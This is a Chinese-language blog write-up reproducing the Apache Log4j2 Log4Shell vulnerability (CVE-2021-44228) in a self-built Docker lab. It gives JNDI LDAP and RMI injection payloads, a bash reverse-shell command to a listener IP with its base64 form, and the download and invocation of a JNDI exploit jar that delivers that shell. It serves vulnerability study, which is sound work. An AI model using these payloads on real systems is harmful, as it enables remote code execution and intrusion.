【漏洞复现】Apache Log4j2 (CVE-2021-44228)

一、原理:

本图借用:https://blog.csdn.net/hilaryfrank/article/details/121939902

二、环境准备

1、靶场:http://vulfocus.fofa.so/#/dashboard(fofa出了点问题,暂时无法访问)

2、靶场:https://ctf.show/challenges

3、docker自建:

查找关于Log4j2的镜像

docker search Log4j2

拉取一个dockers镜像

docker pull vulfocus/log4j2-rce-2021-12-09

运行image

# 把容器的8080端口映射到本机的18080端口
docker run -tid -p 18080:8080 vulfocus/log4j2-rce-2021-12-09

复现完后可以用下面的命令清除docker image:

查看正在运行的docker:

docker ps -a

停止容器 :

docker stop 容器ID

删除指定容器:

docker rm 容器ID

清除所有停止的容器:

docker container prune

查看所有images:

docker images

删除image:

docker rmi [IMAGE ID]

三、漏洞验证

1、访问环境(这里用的docker环境)

这个环境是GET型的,不支持POST。

用下面的payload验证:

payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

注意GET提交的payload需要URL编码,否则会报400,我就是在这里卡了一下,还是要注意细节呀(看别人的环境都是POST)

2、成功验证,dnslog成功回显

四、反弹shell

1、首先准备反弹shell的命令。

bash -i >& /dev/tcp/192.168.1.179/8888 0>&1

2、然后将其base64编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTc5Lzg4ODggMD4mMQ==

3、然后使用工具,工具地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

下载命令:

curl -O https://github.com/bkfish/Apache-Log4j-Learning/blob/main/tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

运行下面命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTc5Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.1.179"

没有java环境的可以执行下面命令下载

sudo apt-get install openjdk-8-jdk

因为不知道目标机的java版本,所以每个payload都可以试下

选择JDK没有版本号的的那个payload(看上图),可能不会受JDK版本的限制吧。

4、接下来再开一个窗口监听刚刚设置的端口

5、最后放入payload(GET方式需要URL编码)

payload=${jndi:rmi://192.168.1.179:1099/0arfwt}

6、执行payload后可以可以看到已经获取到shell了

五、总结

复现过程中出现了以下几个问题:

1、Java版本不对,第一次用的kali2.0,Java版本比较低,反弹shell的时候会提示warning,不允许反弹。安装新版本的Java就好了,这里我换了CentOs 7测试。

2、看别人复现的环境都是POST方式,我遇到的环境是GET方式,payload没有URL编码,导致无法验证成功。

3、我的命令是直接复制的,中间会出现多余空格的情况,导致不能反弹shell,所以还是要注意细节!注意细节!注意细节!

六、参考文献

https://www.adminxe.com/3077.html

https://www.cnblogs.com/0x200/p/15692319.html

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值